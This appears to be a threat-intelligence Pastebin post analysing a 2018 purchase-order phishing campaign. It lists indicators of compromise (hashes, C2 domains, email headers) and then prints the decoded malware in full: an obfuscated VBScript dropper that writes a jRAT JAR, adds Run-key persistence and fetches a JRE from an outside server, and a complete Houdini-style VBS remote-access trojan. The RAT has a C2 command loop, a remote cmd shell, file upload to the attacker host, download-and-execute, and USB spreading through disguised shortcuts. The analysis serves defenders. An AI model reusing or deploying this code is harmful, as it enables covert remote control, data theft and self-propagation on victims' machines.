Neonprimetime

2018-11-05 Jrat and Bitcoin minder from PO phish

Nov 5th, 2018
1,146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 22.58 KB | None | 0 0
  1. #phishing email drops a bitcoin miner and jrat out of a .IMG file with a .VBS inside
  2.  
  3. more info @neonprimetime
  4. https://neonprimetime.blogspot.com/2018/11/jrat-and-bitcoin-miner-from-img-vbs-phish.html
  5.  
  6. ------
  7. VT links
  8. ------
  9. https://www.virustotal.com/#/file/f2bd54981d86e7d475164ca5725090232dc1efd5251c42b58292d8b51e506aa2/community
  10. https://www.virustotal.com/#/file/370784be22039af009a0b4e7915e36c4899133ac3afbb659cbbbec03dc9a2c6e/community
  11. https://www.virustotal.com/#/file/07e13a645058b0f0afe4e79a34abf08dbead97c50b41cb9593035af13250e0f1/community
  12. https://www.virustotal.com/#/file/b0cf01550e576a21ff62f1c34dbe202b14b73b0465cdf7558c445f09eee3a6c1/community
  13. https://www.virustotal.com/#/file/5dcd1a584e27f75870b2c95aac56523927377d8c693fe6fc8a3f422cac79cadc/community
  14. https://www.virustotal.com/#/file/77ecb4b190368eacf09103247fdd75c0c30a6b3c3340acb3d15df7747178cabc/community
  15.  
  16. ----
  17. app anyrun
  18. ----
  19. https://app.any.run/tasks/77449da4-d60e-4c45-922c-b4a85c7ef814
  20.  
  21. -----
  22. dns
  23. -----
  24. welcomehome.duckdns.org [173.46.85.98]
  25. fud.fudcrypt.com
  26.  
  27. ----
  28. md5 hashes
  29. ----
  30. f3a99bcd752bff6a15154484c94cdc21
  31. f3c67b1a2631fde05b24ab26ce5bf6ea
  32. b93df40c82b94680218ea964b5ce6808 ( THOR APT scanner says #magickitten #jrat #MiddleEasternThreatGroups )
  33. 11d828c9301a36749174b1e0459cba55
  34. d859b188405930541aea64ad22f8cf92
  35. 7443f9ecbd050b1e7eae529983543b05
  36.  
  37. ------
  38. email headers
  39. ------
  40. X-Env-Sender: dbittnerf@gmail.com
  41. x-originating-ip: [162.144.196.83]
  42. Received: from server.ineli-mena.org (HELO server.ineli-mena.org)
  43. From: "Purchase Assistance" <dbittnerf@gmail.com>
  44. Subject: RE: B&amp;G EQUIPMENT PO# 102571
  45. Date: Mon, 5 Nov 2018
  46.  
  47. ---------------
  48. vbscript
  49. ---------------
  50. Set noun = CreateObject("ADODB.Stream")
  51. Private Function hen(water, omo, alafia)
  52.   If omo = 4 Then
  53.     noun.Type = 1
  54.     noun.Open
  55.     noun.Write water
  56.     noun.Position = 0
  57.     noun.Type = 2
  58.     noun.CharSet = "us-ascii"
  59.     hen = noun.ReadText
  60.   End If
  61. End Function
  62.  
  63. Private Function bas_6_4_2_bin(kintu, kinpo, kili, manj, aaro, sport)
  64.     Set ms_lmx_dfa = CreateObject("Microsoft.XMLDOM")
  65.     Set ms_pmt_dfa = ms_lmx_dfa.createElement("tmp")
  66.     ms_pmt_dfa.DataType = "bin.base64"
  67.     ms_pmt_dfa.Text = kili
  68.     bas_6_4_2_bin = ms_pmt_dfa.NodeTypedValue
  69. End Function
  70. Private Sub table(chair, milo, sound, clef, sule, naira)
  71.     For i = 0 To 0
  72.         ExecuteGlobal naira
  73.     Next
  74. End Sub
  75.  
  76. Private Function linen(stove, gard, radio, ladela)
  77.     Dim m_u_t_e_x, the_const, m_a_i_n, pau_sed
  78.     m_u_t_e_x = "#("
  79.     the_const = "m"
  80.     m_a_i_n = "[REMOVED]"
  81.     pau_sed = ""
  82.     If radio = 0 Then
  83.         pau_sed = Replace(m_a_i_n, m_u_t_e_x, the_const)
  84.         linen = bas_6_4_2_bin(Nothing, 1, pau_sed, 10, 87, False)
  85.     Else
  86.         'table "7", False, 10, ladela, Nothing, 10
  87.        linen = ladela
  88.     End If
  89. End Function
  90. Dim kilimanjaro
  91. kilimanjaro = linen(0, Nothing, 1, hen(linen(0, Nothing, 0, 284), 4, Nothing))
  92. table "2", Nothing, False, True, 0, kilimanjaro
  93. Set noun = Nothing
  94.  
  95. ---------------
  96. decoded binary
  97. ---------------
  98. Const TypeBinary = 1
  99. Const ForReading = 1, ForWriting = 2, ForAppending = 8
  100. Dim longText1
  101. longText1 = "[REMOVED]"
  102. Set wshShell1 = CreateObject("WScript.Shell")
  103. Dim appdatadir1, stubpath1
  104. appdatadir1 = wshShell1.ExpandEnvironmentStrings("%appdata%")
  105. stubpath1 = appdatadir1 & "\VRMedabkRb.vbs"
  106. Dim decoded1
  107. decoded1 = decodeBase64(longText1)
  108. writeBytes stubpath1, decoded1
  109. wshShell1.Run("""" & stubpath1 & """")
  110. Set wshShell1 = Nothing
  111. Dim longText
  112. longText = "[REMOVED]"
  113. longText = Replace(longText, "#(", "A")
  114. Set wshShell = CreateObject( "WScript.Shell" )
  115. Dim tempdir, appdatadir, text, stubpath
  116. tempdir = wshShell.ExpandEnvironmentStrings("%temp%")
  117. appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%")
  118. stubpath = appdatadir & "\ntfsmgr.jar"
  119. Dim decoded
  120. decoded = decodeBase64(longText)
  121. writeBytes stubpath, decoded
  122. Set fso  = CreateObject("Scripting.FileSystemObject")
  123. On Error Resume Next
  124. text = wshShell.RegRead("HKLM\SOFTWARE\Wow6432Node\JavaSoft\Java Runtime Environment\CurrentVersion")
  125. text = wshShell.RegRead("HKLM\SOFTWARE\Wow6432Node\JavaSoft\Java Runtime Environment\" & text & "\JavaHome")
  126. If text = "" Then
  127. text = wshShell.RegRead("HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\CurrentVersion")
  128. text = wshShell.RegRead("HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\" & text & "\JavaHome")
  129. If text <> "" Then
  130. text = text & "\bin\javaw.exe"
  131. End If
  132. Else
  133. text = text & "\bin\javaw.exe"
  134. End If
  135. If InStr(text, "jre") > 0 Then
  136. Dim validJrePath
  137. validJrePath = getValidJre(text)
  138. If InStr(validJrePath, "javaw.exe") > 0 Then
  139. wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ntfsmgr", """" & validJrePath & """ -jar """ & stubpath & """", "REG_SZ"
  140. wshShell.Run("""" & validJrePath & """" & " -jar " & """" & stubpath & """")
  141. Else
  142. GrabJreFromNet()
  143. End If
  144. Else
  145. GrabJreFromNet()
  146. End If
  147. Private Sub GrabJreFromNet()
  148. Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
  149. Dim bStrm: Set bStrm = createobject("Adodb.Stream")
  150. xHttp.Open "GET", "http://www.thegoldfingerinc.com/images/jre.zip", False
  151. xHttp.Send
  152. with bStrm
  153. .type = 1
  154. .open
  155. .write xHttp.responseBody
  156. .savetofile appdatadir & "\jre.zip", 2
  157. end with
  158. UnZip appdatadir & "\jre.zip", appdatadir & "\jre7"
  159. wshShell.RegWrite "HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\CurrentVersion", "1.7", "REG_SZ"
  160. wshShell.RegWrite "HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\1.7\JavaHome", appdatadir & "\jre7", "REG_SZ"
  161. wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ntfsmgr", """" & appdatadir & "\jre7\bin\javaw.exe"" -jar " & """" & stubpath & """", "REG_SZ"
  162. wshShell.Run("""" & appdatadir & "\jre7\bin\javaw.exe"" -jar " & """" & stubpath & """")
  163. End Sub
  164. Private Function decodeBase64(base64)
  165. Dim DM, EL
  166. Set DM = CreateObject("Microsoft.XMLDOM")
  167. Set EL = DM.createElement("tmp")
  168. EL.DataType = "bin.base64"
  169. EL.Text = base64
  170. decodeBase64 = EL.NodeTypedValue
  171. End Function
  172. Private Sub writeBytes(file, bytes)
  173. Dim binaryStream
  174. Set binaryStream = CreateObject("ADODB.Stream")
  175. binaryStream.Type = TypeBinary
  176. binaryStream.Open
  177. binaryStream.Write bytes
  178. binaryStream.SaveToFile file, ForWriting
  179. End Sub
  180. Sub UnZip(zipfile, ExtractTo)
  181. if fso.GetExtensionName(zipfile) = "zip" then
  182. If NOT fso.FolderExists(ExtractTo) Then
  183. fso.CreateFolder(ExtractTo)
  184. End If
  185. set objShell = CreateObject("Shell.Application")
  186. set destination = objShell.NameSpace(ExtractTo)
  187. set zip_content = objShell.NameSpace(zipfile).Items  
  188. for i = 0 to zip_content.count - 1
  189. if (fso.FileExists(fso.Buildpath(ExtractTo,zip_content.item(i).name)+"."+fso.getExtensionName(zip_content.item(i).path))) then
  190. fso.DeleteFile(fso.Buildpath(ExtractTo,zip_content.item(i).name)+"."+fso.getExtensionName(zip_content.item(i).path))
  191. end if
  192. destination.copyHere zip_content.item(i), 20
  193. next
  194. End if
  195. End Sub
  196. Function getValidJre(res)
  197. a = Split(res, vbCrLf)
  198. for each x in a
  199. if InStr(x, "javaw.exe") > 0 Then
  200. Return = wshShell.Run("cmd /c " & """" & x & """" & " -version 2> %temp%\output.txt", 0, true)
  201. Set file = fso.OpenTextFile(tempdir & "\output.txt", 1)
  202. text = file.ReadAll
  203. file.Close
  204. If InStr(text, "1.6") > 0 Or InStr(text, "1.7") > 0 Or InStr(text, "1.8") > 0 Then
  205. getValidJre = x
  206. Exit Function
  207. End If
  208. End If
  209. next
  210. End Function
  211. Set wshShell = Nothing
  212.  
  213.  
  214. ------
  215. nested vbscript
  216. ------
  217. Set noun = CreateObject("ADODB.Stream")
  218. Private Function hen(water, omo, alafia)
  219.   If omo = 4 Then
  220.     noun.Type = 1
  221.     noun.Open
  222.     noun.Write water
  223.     noun.Position = 0
  224.     noun.Type = 2
  225.     noun.CharSet = "us-ascii"
  226.     hen = noun.ReadText
  227.   End If
  228. End Function
  229.  
  230. Private Function bas_6_4_2_bin(kintu, kinpo, kili, manj, aaro, sport)
  231.     Set ms_lmx_dfa = CreateObject("Microsoft.XMLDOM")
  232.     Set ms_pmt_dfa = ms_lmx_dfa.createElement("tmp")
  233.     ms_pmt_dfa.DataType = "bin.base64"
  234.     ms_pmt_dfa.Text = kili
  235.     bas_6_4_2_bin = ms_pmt_dfa.NodeTypedValue
  236. End Function
  237. Private Sub table(chair, milo, sound, clef, sule, naira)
  238.     For i = 0 To 0
  239.         ExecuteGlobal naira
  240.     Next
  241. End Sub
  242.  
  243. Private Function linen(stove, gard, radio, ladela)
  244.     Dim m_u_t_e_x, the_const, m_a_i_n, pau_sed
  245.     m_u_t_e_x = "#("
  246.     the_const = "A"
  247.     m_a_i_n = "[REMOVED]"
  248.     pau_sed = ""
  249.     If radio = 0 Then
  250.         pau_sed = Replace(m_a_i_n, m_u_t_e_x, the_const)
  251.         linen = bas_6_4_2_bin(Nothing, 1, pau_sed, 10, 87, False)
  252.     Else
  253.         'table "7", False, 10, ladela, Nothing, 10
  254.        linen = ladela
  255.     End If
  256. End Function
  257. Dim kilimanjaro
  258. kilimanjaro = linen(0, Nothing, 1, hen(linen(0, Nothing, 0, 284), 4, Nothing))
  259. table "2", Nothing, False, True, 0, kilimanjaro
  260. Set noun = Nothing
  261.  
  262.  
  263. -----
  264. 3rd nested script decoded
  265. -----
  266.  
  267. '<[ recoder : houdini (c) skype : houdini-fx ]>
  268.  
  269. '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  270.  
  271. 'host = "pm2bitcoin.com"
  272. 'port = 3175
  273. host = "fud.fudcrypt.com"
  274. port = 7755
  275. installdir = "%appdata%"
  276. lnkfile = true
  277. lnkfolder = true
  278.  
  279. '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
  280.  
  281. dim shellobj
  282. set shellobj = wscript.createobject("wscript.shell")
  283. dim filesystemobj
  284. set filesystemobj = createobject("scripting.filesystemobject")
  285. dim httpobj
  286. set httpobj = createobject("msxml2.xmlhttp")
  287.  
  288.  
  289. '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
  290.  
  291. installname = wscript.scriptname
  292. startup = shellobj.specialfolders ("startup") & "\"
  293. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  294. if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  295. spliter = "<" & "|" & ">"
  296. sleep = 5000
  297. dim response
  298. dim cmd
  299. dim param
  300. info = ""
  301. usbspreading = ""
  302. startdate = ""
  303. dim oneonce
  304.  
  305. '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
  306. on error resume next
  307.  
  308.  
  309. instance
  310. while true
  311.  
  312. install
  313.  
  314. response = ""
  315. response = post ("is-ready","")
  316. cmd = split (response,spliter)
  317. select case cmd (0)
  318. case "excecute"
  319.       param = cmd (1)
  320.       execute param
  321. case "update"
  322.       param = cmd (1)
  323.       oneonce.close
  324.       set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
  325.       oneonce.write param
  326.       oneonce.close
  327.       shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
  328.       wscript.quit
  329. case "uninstall"
  330.       uninstall
  331. case "send"
  332.       download cmd (1),cmd (2)
  333. case "site-send"
  334.       sitedownloader cmd (1),cmd (2)
  335. case "recv"
  336.       param = cmd (1)
  337.       upload (param)
  338. case  "enum-driver"
  339.       post "is-enum-driver",enumdriver  
  340. case  "enum-faf"
  341.       param = cmd (1)
  342.       post "is-enum-faf",enumfaf (param)
  343. case  "enum-process"
  344.       post "is-enum-process",enumprocess  
  345. case  "cmd-shell"
  346.       param = cmd (1)
  347.       post "is-cmd-shell",cmdshell (param)  
  348. case  "delete"
  349.       param = cmd (1)
  350.       deletefaf (param)
  351. case  "exit-process"
  352.       param = cmd (1)
  353.       exitprocess (param)
  354. case  "sleep"
  355.       param = cmd (1)
  356.       sleep = eval (param)        
  357. end select
  358.  
  359. wscript.sleep sleep
  360.  
  361. wend
  362.  
  363.  
  364. sub install
  365. on error resume next
  366. dim lnkobj
  367. dim filename
  368. dim foldername
  369. dim fileicon
  370. dim foldericon
  371.  
  372. upstart
  373. for each drive in filesystemobj.drives
  374.  
  375. if  drive.isready = true then
  376. if  drive.freespace  > 0 then
  377. if  drive.drivetype  = 1 then
  378.     filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  379.     if  filesystemobj.fileexists (drive.path & "\" & installname)  then
  380.         filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
  381.     end if
  382.     for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  383.         if not lnkfile then exit for
  384.         if  instr (file.name,".") then
  385.             if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  386.                 file.attributes = 2+4
  387.                 if  ucase (file.name) <> ucase (installname) then
  388.                     filename = split(file.name,".")
  389.                     set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
  390.                     lnkobj.windowstyle = 7
  391.                     lnkobj.targetpath = "cmd.exe"
  392.                     lnkobj.workingdirectory = ""
  393.                     lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  394.                     fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  395.                     if  instr (fileicon,",") = 0 then
  396.                         lnkobj.iconlocation = file.path
  397.                     else
  398.                         lnkobj.iconlocation = fileicon
  399.                     end if
  400.                     lnkobj.save()
  401.                 end if
  402.             end if
  403.         end if
  404.     next
  405.     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  406.         if not lnkfolder then exit for
  407.         folder.attributes = 2+4
  408.         foldername = folder.name
  409.         set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
  410.         lnkobj.windowstyle = 7
  411.         lnkobj.targetpath = "cmd.exe"
  412.         lnkobj.workingdirectory = ""
  413.         lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  414.         foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  415.         if  instr (foldericon,",") = 0 then
  416.             lnkobj.iconlocation = folder.path
  417.         else
  418.             lnkobj.iconlocation = foldericon
  419.         end if
  420.         lnkobj.save()
  421.     next
  422. end If
  423. end If
  424. end if
  425. next
  426. err.clear
  427. end sub
  428.  
  429. sub uninstall
  430. on error resume next
  431. dim filename
  432. dim foldername
  433.  
  434. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  435. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  436. filesystemobj.deletefile startup & installname ,true
  437. filesystemobj.deletefile wscript.scriptfullname ,true
  438.  
  439. for  each drive in filesystemobj.drives
  440. if  drive.isready = true then
  441. if  drive.freespace  > 0 then
  442. if  drive.drivetype  = 1 then
  443.     for  each file in filesystemobj.getfolder ( drive.path & "\").files
  444.          on error resume next
  445.          if  instr (file.name,".") then
  446.              if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  447.                  file.attributes = 0
  448.                  if  ucase (file.name) <> ucase (installname) then
  449.                      filename = split(file.name,".")
  450.                      filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  451.                  else
  452.                      filesystemobj.deletefile (drive.path & "\" & file.name)
  453.                  end If
  454.              else
  455.                  filesystemobj.deletefile (file.path)
  456.              end if
  457.          end if
  458.      next
  459.      for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  460.          folder.attributes = 0
  461.      next
  462. end if
  463. end if
  464. end if
  465. next
  466. wscript.quit
  467. end sub
  468.  
  469. function post (cmd ,param)
  470.  
  471. post = param
  472. httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
  473. httpobj.setrequestheader "user-agent:",information
  474. httpobj.send param
  475. post = httpobj.responsetext
  476. end function
  477.  
  478. function information
  479. on error resume next
  480. if  inf = "" then
  481.     inf = hwid & spliter
  482.     inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
  483.     inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
  484.  
  485.     set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  486.     set os = root.execquery ("select * from win32_operatingsystem")
  487.     for each osinfo in os
  488.        inf = inf & osinfo.caption & spliter  
  489.        exit for
  490.     next
  491.     inf = inf & "plus" & spliter
  492.     inf = inf & security & spliter
  493.     inf = inf & usbspreading
  494.     information = inf  
  495. else
  496.     information = inf
  497. end if
  498. end function
  499.  
  500.  
  501. sub upstart ()
  502. on error resume Next
  503.  
  504. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  505. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  506. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  507. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  508.  
  509. end sub
  510.  
  511.  
  512. function hwid
  513. on error resume next
  514.  
  515. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  516. set disks = root.execquery ("select * from win32_logicaldisk")
  517. for each disk in disks
  518.     if  disk.volumeserialnumber <> "" then
  519.         hwid = disk.volumeserialnumber
  520.         exit for
  521.     end if
  522. next
  523. end function
  524.  
  525.  
  526. function security
  527. on error resume next
  528.  
  529. security = ""
  530.  
  531. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  532. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  533. for each objitem in colitems
  534.     versionstr = split (objitem.version,".")
  535. next
  536. versionstr = split (colitems.version,".")
  537. osversion = versionstr (0) & "."
  538. for  x = 1 to ubound (versionstr)
  539.      osversion = osversion &  versionstr (i)
  540. next
  541. osversion = eval (osversion)
  542. if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  543.  
  544. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  545. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  546.  
  547. for each objantivirus in colantivirus
  548.     security  = security  & objantivirus.displayname & " ."
  549. next
  550. if security  = "" then security  = "nan-av"
  551. end function
  552.  
  553.  
  554. function instance
  555. on error resume next
  556.  
  557. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  558. if usbspreading = "" then
  559.    if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
  560.       usbspreading = "true - " & date
  561.       shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  562.    else
  563.       usbspreading = "false - " & date
  564.       shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  565.  
  566.    end if
  567. end If
  568.  
  569.  
  570.  
  571. upstart
  572. set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
  573. set installfullnameshort =  filesystemobj.getfile (installdir & installname)
  574. if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  575.     shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
  576.     wscript.quit
  577. end If
  578. err.clear
  579. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
  580. if  err.number > 0 then wscript.quit
  581. end function
  582.  
  583.  
  584. sub sitedownloader (fileurl,filename)
  585.  
  586. strlink = fileurl
  587. strsaveto = installdir & filename
  588. set objhttpdownload = createobject("msxml2.xmlhttp" )
  589. objhttpdownload.open "get", strlink, false
  590. objhttpdownload.send
  591.  
  592. set objfsodownload = createobject ("scripting.filesystemobject")
  593. if  objfsodownload.fileexists (strsaveto) then
  594.     objfsodownload.deletefile (strsaveto)
  595. end if
  596.  
  597. if objhttpdownload.status = 200 then
  598.    dim  objstreamdownload
  599.    set  objstreamdownload = createobject("adodb.stream")
  600.    with objstreamdownload
  601.         .type = 1
  602.         .open
  603.         .write objhttpdownload.responsebody
  604.         .savetofile strsaveto
  605.         .close
  606.    end with
  607.    set objstreamdownload = nothing
  608. end if
  609. if objfsodownload.fileexists(strsaveto) then
  610.    shellobj.run objfsodownload.getfile (strsaveto).shortpath
  611. end if
  612. end sub
  613.  
  614. sub download (fileurl,filedir)
  615.  
  616. if filedir = "" then
  617.    filedir = installdir
  618. end if
  619.  
  620. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  621. set objhttpdownload = createobject("msxml2.xmlhttp")
  622. objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
  623. objhttpdownload.send ""
  624.      
  625. set objfsodownload = createobject ("scripting.filesystemobject")
  626. if  objfsodownload.fileexists (strsaveto) then
  627.     objfsodownload.deletefile (strsaveto)
  628. end if
  629. if  objhttpdownload.status = 200 then
  630.     dim  objstreamdownload
  631.     set  objstreamdownload = createobject("adodb.stream")
  632.     with objstreamdownload
  633.          .type = 1
  634.          .open
  635.          .write objhttpdownload.responsebody
  636.          .savetofile strsaveto
  637.          .close
  638.     end with
  639.     set objstreamdownload  = nothing
  640. end if
  641. if objfsodownload.fileexists(strsaveto) then
  642.    shellobj.run objfsodownload.getfile (strsaveto).shortpath
  643. end if
  644. end sub
  645.  
  646.  
  647. function upload (fileurl)
  648.  
  649. dim  httpobj,objstreamuploade,buffer
  650. set  objstreamuploade = createobject("adodb.stream")
  651. with objstreamuploade
  652.      .type = 1
  653.      .open
  654.      .loadfromfile fileurl
  655.      buffer = .read
  656.      .close
  657. end with
  658. set objstreamdownload = nothing
  659. set httpobj = createobject("msxml2.xmlhttp")
  660. httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
  661. httpobj.send buffer
  662. end function
  663.  
  664.  
  665. function enumdriver ()
  666.  
  667. for  each drive in filesystemobj.drives
  668. if   drive.isready = true then
  669.      enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
  670. end if
  671. next
  672. end Function
  673.  
  674. function enumfaf (enumdir)
  675.  
  676. enumfaf = enumdir & spliter
  677. for  each folder in filesystemobj.getfolder (enumdir).subfolders
  678.      enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
  679. next
  680.  
  681. for  each file in filesystemobj.getfolder (enumdir).files
  682.      enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
  683.  
  684. next
  685. end function
  686.  
  687.  
  688. function enumprocess ()
  689.  
  690. on error resume next
  691.  
  692. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  693. set colitems = objwmiservice.execquery("select * from win32_process",,48)
  694.  
  695. dim objitem
  696. for each objitem in colitems
  697.     enumprocess = enumprocess & objitem.name & "|"
  698.     enumprocess = enumprocess & objitem.processid & "|"
  699.     enumprocess = enumprocess & objitem.executablepath & spliter
  700. next
  701. end function
  702.  
  703. sub exitprocess (pid)
  704. on error resume next
  705.  
  706. shellobj.run "taskkill /F /T /PID " & pid,7,true
  707. end sub
  708.  
  709. sub deletefaf (url)
  710. on error resume next
  711.  
  712. filesystemobj.deletefile url
  713. filesystemobj.deletefolder url
  714.  
  715. end sub
  716.  
  717. function cmdshell (cmd)
  718.  
  719. dim httpobj,oexec,readallfromany
  720.  
  721. set oexec = shellobj.exec ("%comspec% /c " & cmd)
  722. if not oexec.stdout.atendofstream then
  723.    readallfromany = oexec.stdout.readall
  724. elseif not oexec.stderr.atendofstream then
  725.    readallfromany = oexec.stderr.readall
  726. else
  727.    readallfromany = ""
  728. end if
  729.  
  730. cmdshell = readallfromany
  731. end function
Add Comment
Please, Sign In to add comment